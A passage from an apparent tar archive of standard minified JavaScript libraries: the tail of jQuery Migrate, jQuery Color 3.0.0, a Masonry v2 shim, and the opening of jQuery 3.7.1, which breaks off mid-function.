t&&h.test(t))try{n.document.querySelector(t)}catch(e){t=t.replace(g,function(e,t,r,n){return"["+t+r+'"'+n+'"]'});try{n.document.querySelector(t),u("selector-hash","Attribute selector with '#' must be quoted: "+r[0]),r[0]=t}catch(e){u("selector-hash","Attribute selector with '#' was not fixed: "+r[0])}}return y.apply(this,r)},"selector-hash"),y)Object.prototype.hasOwnProperty.call(y,d)&&(s.find[d]=y[d]);c(s.fn,"size",function(){return this.length},"size","jQuery.fn.size() is deprecated and removed; use the .length property"),c(s,"parseJSON",function(){return JSON.parse.apply(null,arguments)},"parseJSON","jQuery.parseJSON is deprecated; use JSON.parse"),c(s,"holdReady",s.holdReady,"holdReady","jQuery.holdReady is deprecated"),c(s,"unique",s.uniqueSort,"unique","jQuery.unique is deprecated; use jQuery.uniqueSort"),r(s.expr,"filters",s.expr.pseudos,"expr-pre-pseudos","jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),r(s.expr,":",s.expr.pseudos,"expr-pre-pseudos","jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos"),e("3.1.1")&&c(s,"trim",function(e){return null==e?"":(e+"").replace(v,"$1")},"trim","jQuery.trim is deprecated; use String.prototype.trim"),e("3.2.0")&&(c(s,"nodeName",function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},"nodeName","jQuery.nodeName is deprecated"),c(s,"isArray",Array.isArray,"isArray","jQuery.isArray is deprecated; use Array.isArray")),e("3.3.0")&&(c(s,"isNumeric",function(e){var t=typeof e;return("number"==t||"string"==t)&&!isNaN(e-parseFloat(e))},"isNumeric","jQuery.isNumeric() is deprecated"),s.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){f["[object "+t+"]"]=t.toLowerCase()}),c(s,"type",function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?f[Object.prototype.toString.call(e)]||"object":typeof e},"type","jQuery.type is deprecated"),c(s,"isFunction",function(e){return"function"==typeof e},"isFunction","jQuery.isFunction() is deprecated"),c(s,"isWindow",function(e){return null!=e&&e===e.window},"isWindow","jQuery.isWindow() is deprecated")),s.ajax&&(l=s.ajax,p=/(=)\?(?=&|$)|\?\?/,i(s,"ajax",function(){var e=l.apply(this,arguments);return e.promise&&(c(e,"success",e.done,"jqXHR-methods","jQXHR.success is deprecated and removed"),c(e,"error",e.fail,"jqXHR-methods","jQXHR.error is deprecated and removed"),c(e,"complete",e.always,"jqXHR-methods","jQXHR.complete is deprecated and removed")),e},"jqXHR-methods"),e("4.0.0")||s.ajaxPrefilter("+json",function(e){!1!==e.jsonp&&(p.test(e.url)||"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&p.test(e.data))&&u("jsonp-promotion","JSON-to-JSONP auto-promotion is deprecated")}));var j=s.fn.removeAttr,b=s.fn.toggleClass,w=/\S+/g;function x(e){return e.replace(/-([a-z])/g,function(e,t){return t.toUpperCase()})}i(s.fn,"removeAttr",function(e){var r=this,n=!1;return s.each(e.match(w),function(e,t){s.expr.match.bool.test(t)&&r.each(function(){if(!1!==s(this).prop(t))return!(n=!0)}),n&&(u("removeAttr-bool","jQuery.fn.removeAttr no longer sets boolean properties: "+t),r.prop(t,!1))}),j.apply(this,arguments)},"removeAttr-bool"),i(s.fn,"toggleClass",function(t){return void 0!==t&&"boolean"!=typeof t?b.apply(this,arguments):(u("toggleClass-bool","jQuery.fn.toggleClass( boolean ) is deprecated"),this.each(function(){var e=this.getAttribute&&this.getAttribute("class")||"";e&&s.data(this,"__className__",e),this.setAttribute&&this.setAttribute("class",!e&&!1!==t&&s.data(this,"__className__")||"")}))},"toggleClass-bool");var Q,A,R=!1,C=/^[a-z]/,N=/^(?:Border(?:Top|Right|Bottom|Left)?(?:Width|)|(?:Margin|Padding)?(?:Top|Right|Bottom|Left)?|(?:Min|Max)?(?:Width|Height))$/;s.swap&&s.each(["height","width","reliableMarginRight"],function(e,t){var r=s.cssHooks[t]&&s.cssHooks[t].get;r&&(s.cssHooks[t].get=function(){var e;return R=!0,e=r.apply(this,arguments),R=!1,e})}),i(s,"swap",function(e,t,r,n){var o,a,i={};for(a in R||u("swap","jQuery.swap() is undocumented and deprecated"),t)i[a]=e.style[a],e.style[a]=t[a];for(a in o=r.apply(e,n||[]),t)e.style[a]=i[a];return o},"swap"),e("3.4.0")&&"undefined"!=typeof Proxy&&(s.cssProps=new Proxy(s.cssProps||{},{set:function(){return u("cssProps","jQuery.cssProps is deprecated"),Reflect.set.apply(this,arguments)}})),e("4.0.0")?(A={animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},"undefined"!=typeof Proxy?s.cssNumber=new Proxy(A,{get:function(){return u("css-number","jQuery.cssNumber is deprecated"),Reflect.get.apply(this,arguments)},set:function(){return u("css-number","jQuery.cssNumber is deprecated"),Reflect.set.apply(this,arguments)}}):s.cssNumber=A):A=s.cssNumber,Q=s.fn.css,i(s.fn,"css",function(e,t){var r,n,o=this;return e&&"object"==typeof e&&!Array.isArray(e)?(s.each(e,function(e,t){s.fn.css.call(o,e,t)}),this):("number"==typeof t&&(r=x(e),n=r,C.test(n)&&N.test(n[0].toUpperCase()+n.slice(1))||A[r]||u("css-number",'Number-typed values are deprecated for jQuery.fn.css( "'+e+'", value )')),Q.apply(this,arguments))},"css-number");var S,P,k,H,E=s.data;i(s,"data",function(e,t,r){var n,o,a;if(t&&"object"==typeof t&&2===arguments.length){for(a in n=s.hasData(e)&&E.call(this,e),o={},t)a!==x(a)?(u("data-camelCase","jQuery.data() always sets/gets camelCased names: "+a),n[a]=t[a]):o[a]=t[a];return E.call(this,e,o),t}return t&&"string"==typeof t&&t!==x(t)&&(n=s.hasData(e)&&E.call(this,e))&&t in n?(u("data-camelCase","jQuery.data() always sets/gets camelCased names: "+t),2<arguments.length&&(n[t]=r),n[t]):E.apply(this,arguments)},"data-camelCase"),s.fx&&(k=s.Tween.prototype.run,H=function(e){return e},i(s.Tween.prototype,"run",function(){1<s.easing[this.easing].length&&(u("easing-one-arg","'jQuery.easing."+this.easing.toString()+"' should use only one argument"),s.easing[this.easing]=H),k.apply(this,arguments)},"easing-one-arg"),S=s.fx.interval,P="jQuery.fx.interval is deprecated",n.requestAnimationFrame&&Object.defineProperty(s.fx,"interval",{configurable:!0,enumerable:!0,get:function(){return n.document.hidden||u("fx-interval",P),s.migrateIsPatchEnabled("fx-interval")&&void 0===S?13:S},set:function(e){u("fx-interval",P),S=e}}));var M=s.fn.load,q=s.event.add,O=s.event.fix;s.event.props=[],s.event.fixHooks={},r(s.event.props,"concat",s.event.props.concat,"event-old-patch","jQuery.event.props.concat() is deprecated and removed"),i(s.event,"fix",function(e){var t,r=e.type,n=this.fixHooks[r],o=s.event.props;if(o.length){u("event-old-patch","jQuery.event.props are deprecated and removed: "+o.join());while(o.length)s.event.addProp(o.pop())}if(n&&!n._migrated_&&(n._migrated_=!0,u("event-old-patch","jQuery.event.fixHooks are deprecated and removed: "+r),(o=n.props)&&o.length))while(o.length)s.event.addProp(o.pop());return t=O.call(this,e),n&&n.filter?n.filter(t,e):t},"event-old-patch"),i(s.event,"add",function(e,t){return e===n&&"load"===t&&"complete"===n.document.readyState&&u("load-after-event","jQuery(window).on('load'...) called after load event occurred"),q.apply(this,arguments)},"load-after-event"),s.each(["load","unload","error"],function(e,t){i(s.fn,t,function(){var e=Array.prototype.slice.call(arguments,0);return"load"===t&&"string"==typeof e[0]?M.apply(this,e):(u("shorthand-removed-v3","jQuery.fn."+t+"() is deprecated"),e.splice(0,0,t),arguments.length?this.on.apply(this,e):(this.triggerHandler.apply(this,e),this))},"shorthand-removed-v3")}),s.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,r){c(s.fn,r,function(e,t){return 0<arguments.length?this.on(r,null,e,t):this.trigger(r)},"shorthand-deprecated-v3","jQuery.fn."+r+"() event shorthand is deprecated")}),s(function(){s(n.document).triggerHandler("ready")}),s.event.special.ready={setup:function(){this===n.document&&u("ready-event","'ready' event is deprecated")}},c(s.fn,"bind",function(e,t,r){return this.on(e,null,t,r)},"pre-on-methods","jQuery.fn.bind() is deprecated"),c(s.fn,"unbind",function(e,t){return this.off(e,null,t)},"pre-on-methods","jQuery.fn.unbind() is deprecated"),c(s.fn,"delegate",function(e,t,r,n){return this.on(t,e,r,n)},"pre-on-methods","jQuery.fn.delegate() is deprecated"),c(s.fn,"undelegate",function(e,t,r){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",r)},"pre-on-methods","jQuery.fn.undelegate() is deprecated"),c(s.fn,"hover",function(e,t){return this.on("mouseenter",e).on("mouseleave",t||e)},"pre-on-methods","jQuery.fn.hover() is deprecated");function T(e){var t=n.document.implementation.createHTMLDocument("");return t.body.innerHTML=e,t.body&&t.body.innerHTML}var F=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi;s.UNSAFE_restoreLegacyHtmlPrefilter=function(){s.migrateEnablePatches("self-closed-tags")},i(s,"htmlPrefilter",function(e){var t,r;return(r=(t=e).replace(F,"<$1></$2>"))!==t&&T(t)!==T(r)&&u("self-closed-tags","HTML tags must be properly nested and closed: "+t),e.replace(F,"<$1></$2>")},"self-closed-tags"),s.migrateDisablePatches("self-closed-tags");var D,W,_,I=s.fn.offset;return i(s.fn,"offset",function(){var e=this[0];return!e||e.nodeType&&e.getBoundingClientRect?I.apply(this,arguments):(u("offset-valid-elem","jQuery.fn.offset() requires a valid DOM element"),arguments.length?this:void 0)},"offset-valid-elem"),s.ajax&&(D=s.param,i(s,"param",function(e,t){var r=s.ajaxSettings&&s.ajaxSettings.traditional;return void 0===t&&r&&(u("param-ajax-traditional","jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),t=r),D.call(this,e,t)},"param-ajax-traditional")),c(s.fn,"andSelf",s.fn.addBack,"andSelf","jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),s.Deferred&&(W=s.Deferred,_=[["resolve","done",s.Callbacks("once memory"),s.Callbacks("once memory"),"resolved"],["reject","fail",s.Callbacks("once memory"),s.Callbacks("once memory"),"rejected"],["notify","progress",s.Callbacks("memory"),s.Callbacks("memory")]],i(s,"Deferred",function(e){var a=W(),i=a.promise();function t(){var o=arguments;return s.Deferred(function(n){s.each(_,function(e,t){var r="function"==typeof o[e]&&o[e];a[t[1]](function(){var e=r&&r.apply(this,arguments);e&&"function"==typeof e.promise?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[t[0]+"With"](this===i?n.promise():this,r?[e]:arguments)})}),o=null}).promise()}return c(a,"pipe",t,"deferred-pipe","deferred.pipe() is deprecated"),c(i,"pipe",t,"deferred-pipe","deferred.pipe() is deprecated"),e&&e.call(a,a),a},"deferred-pipe"),s.Deferred.exceptionHook=W.exceptionHook),s}); jquery/jquery.color.min.js 0000644 00000014765 15111757755 0011672 0 ustar 00 /*! jQuery Color v3.0.0 https://github.com/jquery/jquery-color | jquery.org/license */ !function(r,t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],t):"object"==typeof exports?module.exports=t(require("jquery")):t(r.jQuery)}(this,function(s,l){"use strict";var u,n={},t=n.toString,c=/^([\-+])=\s*(\d+\.?\d*)/,r=[{re:/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(r){return[r[1],r[2],r[3],r[4]]}},{re:/rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(r){return[2.55*r[1],2.55*r[2],2.55*r[3],r[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})?/,parse:function(r){return[parseInt(r[1],16),parseInt(r[2],16),parseInt(r[3],16),r[4]?(parseInt(r[4],16)/255).toFixed(2):1]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])([a-f0-9])?/,parse:function(r){return[parseInt(r[1]+r[1],16),parseInt(r[2]+r[2],16),parseInt(r[3]+r[3],16),r[4]?(parseInt(r[4]+r[4],16)/255).toFixed(2):1]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,space:"hsla",parse:function(r){return[r[1],r[2]/100,r[3]/100,r[4]]}}],f=s.Color=function(r,t,n,e){return new s.Color.fn.parse(r,t,n,e)},p={rgba:{props:{red:{idx:0,type:"byte"},green:{idx:1,type:"byte"},blue:{idx:2,type:"byte"}}},hsla:{props:{hue:{idx:0,type:"degrees"},saturation:{idx:1,type:"percent"},lightness:{idx:2,type:"percent"}}}},d={byte:{floor:!0,max:255},percent:{max:1},degrees:{mod:360,floor:!0}},h=s.each;function b(r){return null==r?r+"":"object"==typeof r?n[t.call(r)]||"object":typeof r}function g(r,t,n){var e=d[t.type]||{};return null==r?n||!t.def?null:t.def:(r=e.floor?~~r:parseFloat(r),e.mod?(r+e.mod)%e.mod:Math.min(e.max,Math.max(0,r)))}function m(e){var o=f(),a=o._rgba=[];return e=e.toLowerCase(),h(r,function(r,t){var n=t.re.exec(e),n=n&&t.parse(n),t=t.space||"rgba";if(n)return n=o[t](n),o[p[t].cache]=n[p[t].cache],a=o._rgba=n._rgba,!1}),a.length?("0,0,0,0"===a.join()&&s.extend(a,u.transparent),o):u[e]}function o(r,t,n){return 6*(n=(n+1)%1)<1?r+(t-r)*n*6:2*n<1?t:3*n<2?r+(t-r)*(2/3-n)*6:r}h(p,function(r,t){t.cache="_"+r,t.props.alpha={idx:3,type:"percent",def:1}}),s.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(r,t){n["[object "+t+"]"]=t.toLowerCase()}),(f.fn=s.extend(f.prototype,{parse:function(o,r,t,n){if(o===l)return this._rgba=[null,null,null,null],this;(o.jquery||o.nodeType)&&(o=s(o).css(r),r=l);var a=this,e=b(o),i=this._rgba=[];return r!==l&&(o=[o,r,t,n],e="array"),"string"===e?this.parse(m(o)||u._default):"array"===e?(h(p.rgba.props,function(r,t){i[t.idx]=g(o[t.idx],t)}),this):"object"===e?(o instanceof f?h(p,function(r,t){o[t.cache]&&(a[t.cache]=o[t.cache].slice())}):h(p,function(r,n){var e=n.cache;h(n.props,function(r,t){if(!a[e]&&n.to){if("alpha"===r||null==o[r])return;a[e]=n.to(a._rgba)}a[e][t.idx]=g(o[r],t,!0)}),a[e]&&s.inArray(null,a[e].slice(0,3))<0&&(null==a[e][3]&&(a[e][3]=1),n.from)&&(a._rgba=n.from(a[e]))}),this):void 0},is:function(r){var o=f(r),a=!0,i=this;return h(p,function(r,t){var n,e=o[t.cache];return e&&(n=i[t.cache]||t.to&&t.to(i._rgba)||[],h(t.props,function(r,t){if(null!=e[t.idx])return a=e[t.idx]===n[t.idx]})),a}),a},_space:function(){var n=[],e=this;return h(p,function(r,t){e[t.cache]&&n.push(r)}),n.pop()},transition:function(r,i){var r=(l=f(r))._space(),t=p[r],n=0===this.alpha()?f("transparent"):this,s=n[t.cache]||t.to(n._rgba),u=s.slice(),l=l[t.cache];return h(t.props,function(r,t){var n=t.idx,e=s[n],o=l[n],a=d[t.type]||{};null!==o&&(null===e?u[n]=o:(a.mod&&(o-e>a.mod/2?e+=a.mod:e-o>a.mod/2&&(e-=a.mod)),u[n]=g((o-e)*i+e,t)))}),this[r](u)},blend:function(r){var t,n,e;return 1===this._rgba[3]?this:(t=this._rgba.slice(),n=t.pop(),e=f(r)._rgba,f(s.map(t,function(r,t){return(1-n)*e[t]+n*r})))},toRgbaString:function(){var r="rgba(",t=s.map(this._rgba,function(r,t){return null!=r?r:2<t?1:0});return 1===t[3]&&(t.pop(),r="rgb("),r+t.join(", ")+")"},toHslaString:function(){var r="hsla(",t=s.map(this.hsla(),function(r,t){return null==r&&(r=2<t?1:0),r=t&&t<3?Math.round(100*r)+"%":r});return 1===t[3]&&(t.pop(),r="hsl("),r+t.join(", ")+")"},toHexString:function(r){var t=this._rgba.slice(),n=t.pop();return r&&t.push(~~(255*n)),"#"+s.map(t,function(r){return("0"+(r||0).toString(16)).substr(-2)}).join("")},toString:function(){return this.toRgbaString()}})).parse.prototype=f.fn,p.hsla.to=function(r){var t,n,e,o,a,i,s,u;return null==r[0]||null==r[1]||null==r[2]?[null,null,null,r[3]]:(t=r[0]/255,n=r[1]/255,e=r[2]/255,r=r[3],o=(u=Math.max(t,n,e))-(s=Math.min(t,n,e)),i=.5*(a=u+s),s=s===u?0:t===u?60*(n-e)/o+360:n===u?60*(e-t)/o+120:60*(t-n)/o+240,u=0==o?0:i<=.5?o/a:o/(2-a),[Math.round(s)%360,u,i,null==r?1:r])},p.hsla.from=function(r){var t,n,e;return null==r[0]||null==r[1]||null==r[2]?[null,null,null,r[3]]:(t=r[0]/360,e=r[1],n=r[2],r=r[3],e=2*n-(n=n<=.5?n*(1+e):n+e-n*e),[Math.round(255*o(e,n,t+1/3)),Math.round(255*o(e,n,t)),Math.round(255*o(e,n,t-1/3)),r])},h(p,function(s,r){var t=r.props,a=r.cache,i=r.to,u=r.from;f.fn[s]=function(r){var n,e,o;return i&&!this[a]&&(this[a]=i(this._rgba)),r===l?this[a].slice():(n=b(r),e="array"===n||"object"===n?r:arguments,o=this[a].slice(),h(t,function(r,t){r=e["object"===n?r:t.idx];null==r&&(r=o[t.idx]),o[t.idx]=g(r,t)}),u?((r=f(u(o)))[a]=o,r):f(o))},h(t,function(a,i){f.fn[a]||(f.fn[a]=function(r){var t=b(r),n="alpha"===a?this._hsla?"hsla":"rgba":s,e=this[n](),o=e[i.idx];return"undefined"===t?o:("function"===t&&(t=b(r=r.call(this,o))),null==r&&i.empty?this:("string"===t&&(t=c.exec(r))&&(r=o+parseFloat(t[2])*("+"===t[1]?1:-1)),e[i.idx]=r,this[n](e)))})})}),(f.hook=function(r){r=r.split(" ");h(r,function(r,e){s.cssHooks[e]={set:function(r,t){var n;"transparent"===t||"string"===b(t)&&!(n=m(t))||(t=(t=f(n||t)).toRgbaString()),r.style[e]=t}},s.fx.step[e]=function(r){r.colorInit||(r.start=f(r.elem,e),r.end=f(r.end),r.colorInit=!0),s.cssHooks[e].set(r.elem,r.start.transition(r.end,r.pos))}})})("backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor"),s.cssHooks.borderColor={expand:function(n){var e={};return h(["Top","Right","Bottom","Left"],function(r,t){e["border"+t+"Color"]=n}),e}},u=s.Color.names={aqua:"#00ffff",black:"#000000",blue:"#0000ff",fuchsia:"#ff00ff",gray:"#808080",green:"#008000",lime:"#00ff00",maroon:"#800000",navy:"#000080",olive:"#808000",purple:"#800080",red:"#ff0000",silver:"#c0c0c0",teal:"#008080",white:"#ffffff",yellow:"#ffff00",transparent:[null,null,null,0],_default:"#ffffff"}}); jquery/jquery.masonry.min.js 0000644 00000003433 15111757755 0012232 0 ustar 00 /*! * Masonry v2 shim * to maintain backwards compatibility * as of Masonry v3.1.2 * * Cascading grid layout library * http://masonry.desandro.com * MIT License * by David DeSandro */ !function(a){"use strict";var b=a.Masonry;b.prototype._remapV2Options=function(){this._remapOption("gutterWidth","gutter"),this._remapOption("isResizable","isResizeBound"),this._remapOption("isRTL","isOriginLeft",function(a){return!a});var a=this.options.isAnimated;if(void 0!==a&&(this.options.transitionDuration=a?this.options.transitionDuration:0),void 0===a||a){var b=this.options.animationOptions,c=b&&b.duration;c&&(this.options.transitionDuration="string"==typeof c?c:c+"ms")}},b.prototype._remapOption=function(a,b,c){var d=this.options[a];void 0!==d&&(this.options[b]=c?c(d):d)};var c=b.prototype._create;b.prototype._create=function(){var a=this;this._remapV2Options(),c.apply(this,arguments),setTimeout(function(){jQuery(a.element).addClass("masonry")},0)};var d=b.prototype.layout;b.prototype.layout=function(){this._remapV2Options(),d.apply(this,arguments)};var e=b.prototype.option;b.prototype.option=function(){e.apply(this,arguments),this._remapV2Options()};var f=b.prototype._itemize;b.prototype._itemize=function(a){var b=f.apply(this,arguments);return jQuery(a).addClass("masonry-brick"),b};var g=b.prototype.measureColumns;b.prototype.measureColumns=function(){var a=this.options.columnWidth;a&&"function"==typeof a&&(this.getContainerWidth(),this.columnWidth=a(this.containerWidth)),g.apply(this,arguments)},b.prototype.reload=function(){this.reloadItems.apply(this,arguments),this.layout.apply(this)};var h=b.prototype.destroy;b.prototype.destroy=function(){var a=this.getItemElements();jQuery(this.element).removeClass("masonry"),jQuery(a).removeClass("masonry-brick"),h.apply(this,arguments)}}(window); jquery/jquery.min.js 0000644 00000253001 15111757755 0010541 0 ustar 00 /*! jQuery v3.7.1 | (c) OpenJS Foundation and other contributors | jquery.org/license */ !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n||C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[i.call(e)]||"object":typeof e}var t="3.7.1",l=/HTML$/i,ce=function(e,t){return new ce.fn.init(e,t)};function c(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!v(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&0<t&&t-1 in e)}function fe(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}ce.fn=ce.prototype={jquery:t,constructor:ce,length:0,toArray:function(){return ae.call(this)},get:function(e){return null==e?ae.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=ce.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return ce.each(this,e)},map:function(n){return this.pushStack(ce.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(ae.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(ce.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(ce.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:oe.sort,splice:oe.splice},ce.extend=ce.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||v(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(ce.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||ce.isPlainObject(n)?n:{},i=!1,a[t]=ce.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},ce.extend({expando:"jQuery"+(t+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==i.call(e))&&(!(t=r(e))||"function"==typeof(n=ue.call(t,"constructor")&&t.constructor)&&o.call(n)===a)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){m(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(c(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},text:function(e){var t,n="",r=0,i=e.nodeType;if(!i)while(t=e[r++])n+=ce.text(t);return 1===i||11===i?e.textContent:9===i?e.documentElement.textContent:3===i||4===i?e.nodeValue:n},makeArray:function(e,t){var n=t||[];return null!=e&&(c(Object(e))?ce.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:se.call(t,e,n)},isXMLDoc:function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!l.test(t||n&&n.nodeName||"HTML")},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(c(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:le}),"function"==typeof Symbol&&(ce.fn[Symbol.iterator]=oe[Symbol.iterator]),ce.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var pe=oe.pop,de=oe.sort,he=oe.splice,ge="[\\x20\\t\\r\\n\\f]",ve=new RegExp("^"+ge+"+|((?:^|[^\\\\])(?:\\\\.)*)"+ge+"+$","g");ce.contains=function(e,t){var n=t&&t.parentNode;return e===n||!(!n||1!==n.nodeType||!(e.contains?e.contains(n):e.compareDocumentPosition&&16&e.compareDocumentPosition(n)))};var f=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g;function p(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e}ce.escapeSelector=function(e){return(e+"").replace(f,p)};var ye=C,me=s;!function(){var e,b,w,o,a,T,r,C,d,i,k=me,S=ce.expando,E=0,n=0,s=W(),c=W(),u=W(),h=W(),l=function(e,t){return e===t&&(a=!0),0},f="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",t="(?:\\\\[\\da-fA-F]{1,6}"+ge+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",p="\\["+ge+"*("+t+")(?:"+ge+"*([*^$|!~]?=)"+ge+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+t+"))|)"+ge+"*\\]",g=":("+t+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+p+")*)|.*)\\)|)",v=new RegExp(ge+"+","g"),y=new RegExp("^"+ge+"*,"+ge+"*"),m=new RegExp("^"+ge+"*([>+~]|"+ge+")"+ge+"*"),x=new RegExp(ge+"|>"),j=new RegExp(g),A=new RegExp("^"+t+"$"),D={ID:new RegExp("^#("+t+")"),CLASS:new RegExp("^\\.("+t+")"),TAG:new RegExp("^("+t+"|[*])"),ATTR:new RegExp("^"+p),PSEUDO:new RegExp("^"+g),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+ge+"*(even|odd|(([+-]|)(\\d*)n|)"+ge+"*(?:([+-]|)"+ge+"*(\\d+)|))"+ge+"*\\)|)","i"),bool:new RegExp("^(?:"+f+")$","i"),needsContext:new RegExp("^"+ge+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+ge+"*((?:-\\d)?\\d*)"+ge+"*\\)|)(?=[^-]|$)","i")},N=/^(?:input|select|textarea|button)$/i,q=/^h\d$/i,L=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,H=/[+~]/,O=new RegExp("\\\\[\\da-fA-F]{1,6}"+ge+"?|\\\\([^\\r\\n\\f])","g"),P=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},M=function(){V()},R=J(function(e){return!0===e.disabled&&fe(e,"fieldset")},{dir:"parentNode",next:"legend"});try{k.apply(oe=ae.call(ye.childNodes),ye.childNodes),oe[ye.childNodes.length].nodeType}catch(e){k={apply:function(e,t){me.apply(e,ae.call(t))},call:function(e){me.apply(e,ae.call(arguments,1))}}}function I(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(V(e),e=e||T,C)){if(11!==p&&(u=L.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return k.call(n,a),n}else if(f&&(a=f.getElementById(i))&&I.contains(e,a)&&a.id===i)return k.call(n,a),n}else{if(u[2])return k.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&e.getElementsByClassName)return k.apply(n,e.getElementsByClassName(i)),n}if(!(h[t+" 